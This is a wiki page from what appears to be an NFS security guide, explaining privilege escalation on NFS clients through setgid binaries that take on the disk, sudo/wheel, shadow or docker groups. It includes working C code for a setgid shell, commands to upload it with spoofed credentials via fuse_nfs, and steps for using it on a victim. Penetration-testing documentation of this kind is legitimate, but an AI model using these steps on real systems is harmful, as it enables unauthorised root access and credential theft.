Skip to content

5_2_2 PrivEsc Client, no_root_squash disabled

Michael Eder edited this page Dec 29, 2024 · 1 revision

Even if no_root_squash is disabled, it is possible to escalate privileges on misconfigured clients. On some Linux distributions there is a group called disk which has full read and write access to the disks.

$ ls -l /dev/sd*
brw-rw---- 1 root disk 8, 0 May 29 08:52 /dev/sda
brw-rw---- 1 root disk 8, 1 May 29 08:52 /dev/sda1
brw-rw---- 1 root disk 8, 2 May 29 08:52 /dev/sda2

It is possible to upload a setgid binary that belongs to this group and execute it on the clients. Since the gid of the disk group is not 0, it does not get squashed by default. On FreeBSD and OpenBSD there is the operator group which has disk access, however the attack has not been tested on those systems.

Preconditions

  • Server: The option all_squash is not enabled on the export.
  • Client: The export is mounted without the nosuid option. If only the nodev option is missing, this attack will not work because we cannot create devices on the server if the no_root_squash option is not enabled. The disks of the client need to be owned by the disk group which has read and write permissions. This is the case on Debian and Fedora where the id of the group is 6.

Attack

Create a the following file on the attacker machine where you have root access. This program sets its gid to 6 and starts a shell.

#include <unistd.h>
#include <stdlib.h>

int main(void) {
    setregid(6,6);
    system("sh");
}

To compile and test the program, run the following command.

gcc -o setgid_disk setgid_disk.c && sudo chown 1000:6 setgid_disk && sudo chmod 2755 setgid_disk && ./setgid_disk

You should now have a shell and running id should show that the shell is running with the gid of the diskgroup.

The problem with this attack is that we cannot simply copy the file to the export because our Linux system will prevent us from setting the file's group to disk since we are not a member of that group. We cannot perform the operation as root because then the NFS client will attach uid and gid 0 to the request which will then get squashed by the server.

With fuse_nfs you can manually set a uid and gid to upload the file to the server.

fuse_nfs --export /EXPORT/PATH --uid 1000:6 --allow-write /MOUNT/POINT

You can now copy the binary to the export and set the permissions

cp setgid_disk /MOUNT/POINT
chgrp disk /MOUNT/POINT/setgid_disk
chmod 2755 /MOUNT/POINT/setgid_disk

Run the file on the client where you want to escalate privileges. Just like before when testing on your attacker machine, you will get a shell with a gid of 6 in which you can directly perform operations on any disk. This means that you can now use debugfs on disks in /dev.

Depending on the distribution, there are also other interesting system groups that could be used with this attack like the kmem group which has read access to the first megabyte of memory in /dev/mem and the shadow group which has read access to /etc/shadow. If docker is running on the system you can use the docker group which has read and write permissions to /var/run/docker.sock. This allows you to start a docker container and mount the host file system which will then give you full root access to the host.

sudo/wheel group

On most Linux systems there is a group whose members can use sudo to run commands as root. On Debian this group is called sudo and has the gid 27, on Fedora it is called wheel and has the gid 10. In the default installation there is an entry like this in the /etc/sudoers file:

%sudo	ALL=(ALL:ALL) ALL

It allows all members of the sudo group to run any command after entering the user's password. If you know the password of an account that is not in this group, you can upload a setgid binary to the export that sets the gid to that of sudo/wheel and starts a shell. After logging in to this account and running the binary you can now run sudo sh and enter the account password to get a root shell.

If you don't know the password of the account that you have access to, you may still be able to perform the attack if sudo is configured not to require a password. The /etc/sudoers entry in that case would look like this.

%sudo	ALL=(ALL:ALL) NOPASSWD: ALL